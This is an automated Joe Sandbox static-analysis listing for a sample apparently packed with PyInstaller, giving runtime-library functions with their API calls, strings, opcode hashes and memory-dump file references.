[PYI-%d:%s] , xrefs: 00007FF7F3DD2768

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: CurrentProcess
String ID: ERROR$Error$Error [ANSI Fallback]$[PYI-%d:%s]
API String ID: 2050909247-1591803126
Opcode ID: a4fe537d534c2fb53088f6f6b76b448a80ccad2508d4dc842b27f1a8247accfc
Instruction ID: 567157e596f86f5239f0376b56b1dbb57d0e5dc230794ac905fcb71b7fdcb9ab
Opcode Fuzzy Hash: a4fe537d534c2fb53088f6f6b76b448a80ccad2508d4dc842b27f1a8247accfc
Instruction Fuzzy Hash: 8F21A67261978152E7A0ABA1F8817E6B394EF883C0F800135FE9D67699DF3CD1458790

Function 00007FFDFB3A8960 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FFDFB3A898C
GetCurrentThreadId.KERNEL32 ref: 00007FFDFB3A899A
GetCurrentProcessId.KERNEL32 ref: 00007FFDFB3A89A6
QueryPerformanceCounter.KERNEL32 ref: 00007FFDFB3A89B6

Strings

&|$, xrefs: 00007FFDFB3A896D

Memory Dump Source

Source File: 00000001.00000002.2974868429.00007FFDFB201000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000001.00000002.2974853382.00007FFDFB200000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2975033574.00007FFDFB482000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2975033574.00007FFDFB4A2000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2975033574.00007FFDFB4B1000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2975033574.00007FFDFB527000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2975033574.00007FFDFB5F2000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2975259707.00007FFDFB6F6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2975296972.00007FFDFB75D000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2975312805.00007FFDFB765000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2975326824.00007FFDFB766000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2975340932.00007FFDFB767000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2975354634.00007FFDFB768000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2975398090.00007FFDFB7EF000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2975412610.00007FFDFB7F1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2975426919.00007FFDFB7FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2975448627.00007FFDFB820000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2975462487.00007FFDFB821000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2975475901.00007FFDFB822000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2975492147.00007FFDFB823000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2975505766.00007FFDFB825000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2975525392.00007FFDFB831000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2975539710.00007FFDFB832000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2975565797.00007FFDFB874000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2975586760.00007FFDFB891000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfb200000_aLsxeH29P2.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID: &|$
API String ID: 2933794660-2080911723
Opcode ID: d2285d0ca78b08e9284e6539fe4cd286835083a25521d89012cfe7de672bd859
Instruction ID: 371ea959a7c529ca146129aa8be3802ad151b00a3aaa40a0a8813d51b2b9d672
Opcode Fuzzy Hash: d2285d0ca78b08e9284e6539fe4cd286835083a25521d89012cfe7de672bd859
Instruction Fuzzy Hash: 88112A26B15F068AEB00DF60E8646B833A4FB19758F441E35EA6D86BA8EF7CD154C340

Function 00007FF7F3DE9A88 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF7F3DE9AAD
GetProcAddress.KERNEL32 ref: 00007FF7F3DE9AC3
FreeLibrary.KERNEL32 ref: 00007FF7F3DE9AEA

Strings

mscoree.dll, xrefs: 00007FF7F3DE9AA4
CorExitProcess, xrefs: 00007FF7F3DE9ABC

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: b239dd027a539e56a716c05e535b4da9cb8e2339e08a4dc57142401ef2416000
Instruction ID: 3407cf8a558331a01aeb401f858656d33aa12e054d4b196cec205c9ccbf1a42e
Opcode Fuzzy Hash: b239dd027a539e56a716c05e535b4da9cb8e2339e08a4dc57142401ef2416000
Instruction Fuzzy Hash: 49F0C861B0A70681EB94ABA0E48473A9760FF45764F840335C97E5E1E8CF3CD084C3A0

Function 00007FFE126CA920 Relevance: 7.6, APIs: 5, Instructions: 94COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 00007FFE126CA99B
DName::operator+.LIBVCRUNTIME ref: 00007FFE126CA9BD
DName::DName.LIBVCRUNTIME ref: 00007FFE126CA9CC
DName::DName.LIBVCRUNTIME ref: 00007FFE126CAA03
DName::DName.LIBVCRUNTIME ref: 00007FFE126CAA0E

Memory Dump Source

Source File: 00000001.00000002.2975634958.00007FFE126C1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE126C0000, based on PE: true

Associated: 00000001.00000002.2975620067.00007FFE126C0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975654013.00007FFE126D3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975669074.00007FFE126D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975683450.00007FFE126D9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe126c0000_aLsxeH29P2.jbxd

Similarity

API ID: NameName::$Name::operator+
String ID:
API String ID: 826178784-0
Opcode ID: f125dc20a4fc2cff283c2e4d5124f38be857c51718d1d3c9008137230ed817e4
Instruction ID: 957ee6a540dcaa33ccaed6f2b3ec518699d830bac334dbf9ac8346a8062684f1
Opcode Fuzzy Hash: f125dc20a4fc2cff283c2e4d5124f38be857c51718d1d3c9008137230ed817e4
Instruction Fuzzy Hash: 84417E22A18E5A89EB04EF63DC511BC37A4BB14BA0BD540B2DA8D537E5DF7CE865C300

Function 00007FF7F3DF9368 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF7F3DF9390
_set_statfp.LIBCMT ref: 00007FF7F3DF93AB
_set_statfp.LIBCMT ref: 00007FF7F3DF93C7
_set_statfp.LIBCMT ref: 00007FF7F3DF9403

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction ID: 7bd888f195acad3f54dca21b5bce1121a1b453f0fb4377b6c8e2670ea6b44924
Opcode Fuzzy Hash: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction Fuzzy Hash: CF118622D5CA4381F7E831F5E4D1379A090AF5936CF840634EA7E3E6DE8E7C644141A0

Function 00007FF7F3DEB390 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF7F3DEA5A3,?,?,00000000,00007FF7F3DEA83E,?,?,?,?,?,00007FF7F3DEA7CA), ref: 00007FF7F3DEB3AF
FlsSetValue.KERNEL32(?,?,?,00007FF7F3DEA5A3,?,?,00000000,00007FF7F3DEA83E,?,?,?,?,?,00007FF7F3DEA7CA), ref: 00007FF7F3DEB3CE
FlsSetValue.KERNEL32(?,?,?,00007FF7F3DEA5A3,?,?,00000000,00007FF7F3DEA83E,?,?,?,?,?,00007FF7F3DEA7CA), ref: 00007FF7F3DEB3F6
FlsSetValue.KERNEL32(?,?,?,00007FF7F3DEA5A3,?,?,00000000,00007FF7F3DEA83E,?,?,?,?,?,00007FF7F3DEA7CA), ref: 00007FF7F3DEB407
FlsSetValue.KERNEL32(?,?,?,00007FF7F3DEA5A3,?,?,00000000,00007FF7F3DEA83E,?,?,?,?,?,00007FF7F3DEA7CA), ref: 00007FF7F3DEB418

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 6f944022d23edc1c4acf36ee41aa723466f994e0e1af3fb98e05b0010e79b0d5
Instruction ID: ae4ffe7bfd6d462ffd2f109e2f93de5e328a4a68a7ad24208f5a5b099be51442
Opcode Fuzzy Hash: 6f944022d23edc1c4acf36ee41aa723466f994e0e1af3fb98e05b0010e79b0d5
Instruction Fuzzy Hash: B7115E60E0D60241FBDDB3A59542279E9415F447B0FC94334DC7E6EBD6DD2CB48143A2

Function 00007FF7F3DEB224 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF7F3DEB235
FlsSetValue.KERNEL32 ref: 00007FF7F3DEB254
FlsSetValue.KERNEL32 ref: 00007FF7F3DEB27C
FlsSetValue.KERNEL32 ref: 00007FF7F3DEB28D
FlsSetValue.KERNEL32 ref: 00007FF7F3DEB29E

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: cf61fb6c00b1796c5bed08ecf7b6551a73a14dc995a044f45feadad5ae41d3ad
Instruction ID: 002245d9623c70b61ea1db2552dc84080bafb52522b8f90d0296bb92c23053a7
Opcode Fuzzy Hash: cf61fb6c00b1796c5bed08ecf7b6551a73a14dc995a044f45feadad5ae41d3ad
Instruction Fuzzy Hash: 6311F260A0E60741FBEC72A1885227E9A424F85730FC94734D97E6E6C2DD2CB98046F2

Function 00007FF7F3DE5FA0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DE5FDC
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DE6106
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DE61BC

Strings

verbose, xrefs: 00007FF7F3DE5FB0

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: verbose
API String ID: 3215553584-579935070
Opcode ID: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
Instruction ID: b8ec8516d5bbb46c082a30314a0a77c9678a46eff74ed2d735c5d8fc6e07b228
Opcode Fuzzy Hash: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
Instruction Fuzzy Hash: BA910932A0864641F7A9AEA4D45037DBB91AB40B54FC44331DABD6B3D5DF3CE48583A2

Function 00007FF7F3DEFBC8 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DEFEA7

Part of subcall function 00007FF7F3DE7A3C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DE7A59

Strings

UTF-8, xrefs: 00007FF7F3DEFE26
UTF-16LEUNICODE, xrefs: 00007FF7F3DEFE45
ccs, xrefs: 00007FF7F3DEFDE2

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 7089664b0a027e884898b454f5d4d61e653d4f3baae8c024cbe23c99275e4c13
Instruction ID: 6b25ed96f8289da615756aead5ba728e20c659cdf9cf45904e3ff5b9186b8bcb
Opcode Fuzzy Hash: 7089664b0a027e884898b454f5d4d61e653d4f3baae8c024cbe23c99275e4c13
Instruction Fuzzy Hash: 7F81C772D0824285F7ED7EE58140238AEA8AB11B44FD74231D92DBF2C5DB2DF58183A3

Function 00007FFE126C470C Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFE126C6E48: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FFE126C29EE), ref: 00007FFE126C6E56

abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE126C488B

Strings

csm, xrefs: 00007FFE126C475B
, xrefs: 00007FFE126C47DC
csm, xrefs: 00007FFE126C48C5

Memory Dump Source

Source File: 00000001.00000002.2975634958.00007FFE126C1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE126C0000, based on PE: true

Associated: 00000001.00000002.2975620067.00007FFE126C0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975654013.00007FFE126D3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975669074.00007FFE126D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975683450.00007FFE126D9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe126c0000_aLsxeH29P2.jbxd

Similarity

API ID: abort
String ID: $csm$csm
API String ID: 4206212132-1512788406
Opcode ID: bd14039b9dc44c48f3afba7226bd4a8f48c08aeb5fb2f86f7c5774b76e28317a
Instruction ID: ff641de92d7c02ed2079cbd33759b67dc5644a5e5896da4bfe50f8abf75144b3
Opcode Fuzzy Hash: bd14039b9dc44c48f3afba7226bd4a8f48c08aeb5fb2f86f7c5774b76e28317a
Instruction Fuzzy Hash: 7D71BF3290DAD186D725DF26D88037D7BA0FB45BA8F848176DE8C07AE9CB6CD4A1C740

Function 00007FF7F3DDD648 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7F3DDD673
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF7F3DDD70A
RtlUnwindEx.KERNEL32 ref: 00007FF7F3DDD764

Strings

csm, xrefs: 00007FF7F3DDD6F1

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 4bd751ab4a757734da5bac4c310991cbc8ef63d187f18c7a3c34a87046479a0f
Instruction ID: 8a6fca9462f787b1f4c90fc79f9509dd796580b23ece198b5d92a7beda42b32f
Opcode Fuzzy Hash: 4bd751ab4a757734da5bac4c310991cbc8ef63d187f18c7a3c34a87046479a0f
Instruction Fuzzy Hash: 4451B032B196029ADF94AF95D444A38B791FF44B88F908130DA6E5B7C8DF7CE841C7A0

Function 00007FF7F3DDF288 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7F3DDF2B0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF7F3DDF398

Strings

csm, xrefs: 00007FF7F3DDF2D2
csm, xrefs: 00007FF7F3DDF3EA

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b828653c103bc27f8420a51a056d9897bfd6e6497fd7c081c32eb92dd3ed2bbb
Instruction ID: 26244831693c7a0feffde000285c480376d94f467af32b59a649e4efba219b37
Opcode Fuzzy Hash: b828653c103bc27f8420a51a056d9897bfd6e6497fd7c081c32eb92dd3ed2bbb
Instruction Fuzzy Hash: E051A632A0838286DBB4AFA1D044378B7A8FB55B88F954135DA6C5BBC5CF3CE450C791

Function 00007FF7F3DDEED8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF7F3DDEF37
_CallSETranslator.LIBVCRUNTIME ref: 00007FF7F3DDEF83

Strings

RCC, xrefs: 00007FF7F3DDEF53
MOC, xrefs: 00007FF7F3DDEF4B

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 1c81a5d02d7979dd4dad50f55436adaf5051385037e661534b2c2f58034018d3
Instruction ID: b1203d908cccfa1e353a21fb3e2e587374a4184a124dc26d885d84b8effe4fdd
Opcode Fuzzy Hash: 1c81a5d02d7979dd4dad50f55436adaf5051385037e661534b2c2f58034018d3
Instruction Fuzzy Hash: 7F61A432908BC585DBB0AB65E4403AAF7A4FB85784F444235EBAC1B795CF7CD194CB50

Function 00007FFE126C44E4 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFE126C6E48: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FFE126C29EE), ref: 00007FFE126C6E56

abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE126C45DB
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FFE126C45EB

Strings

csm, xrefs: 00007FFE126C463D
csm, xrefs: 00007FFE126C452E

Memory Dump Source

Source File: 00000001.00000002.2975634958.00007FFE126C1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE126C0000, based on PE: true

Associated: 00000001.00000002.2975620067.00007FFE126C0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975654013.00007FFE126D3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975669074.00007FFE126D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975683450.00007FFE126D9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe126c0000_aLsxeH29P2.jbxd

Similarity

API ID: Frameabort$EmptyHandler3::StateUnwind
String ID: csm$csm
API String ID: 4108983575-3733052814
Opcode ID: 08ef0bffa0d8dc861c4a01b7d2fd628c67e896dc6c26123b9582640005c51e48
Instruction ID: 6374db72a8c02b0c54e2f727f349a9604fcb0800474a2cb9901b305a37031d63
Opcode Fuzzy Hash: 08ef0bffa0d8dc861c4a01b7d2fd628c67e896dc6c26123b9582640005c51e48
Instruction Fuzzy Hash: 9551A672908A8286EB64EF13D9443687790FB54BA8F944175DA8D47BE9CFBCE471CB00

Function 00007FFE126CB118 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 94COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 00007FFE126CB172

Strings

%lf, xrefs: 00007FFE126CB1AD, 00007FFE126CB1E1, 00007FFE126CB211

Memory Dump Source

Source File: 00000001.00000002.2975634958.00007FFE126C1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE126C0000, based on PE: true

Associated: 00000001.00000002.2975620067.00007FFE126C0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975654013.00007FFE126D3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975669074.00007FFE126D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975683450.00007FFE126D9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe126c0000_aLsxeH29P2.jbxd

Similarity

API ID: NameName::
String ID: %lf
API String ID: 1333004437-2891890143
Opcode ID: 7e0deb2cf17bd330c849068a4ca2fc9bc064bfcc9212df10860184869afe9d43
Instruction ID: fa63fe4e89f0cfee14bc6c13d23f6fb0c50392372f0e60304bdeb83fd7abc278
Opcode Fuzzy Hash: 7e0deb2cf17bd330c849068a4ca2fc9bc064bfcc9212df10860184869afe9d43
Instruction Fuzzy Hash: 0531E721A0CF8A86E611EB13BC501F97360FF55BA0F848276EA8E437F5EE6CE5118300

Function 00007FF7F3DD7E20 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00000000,?,00007FF7F3DD352C,?,00000000,00007FF7F3DD3F1B), ref: 00007FF7F3DD7F32

Strings

\, xrefs: 00007FF7F3DD7E97
%.*s, xrefs: 00007FF7F3DD7EEB
%s%c, xrefs: 00007FF7F3DD7EA4

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
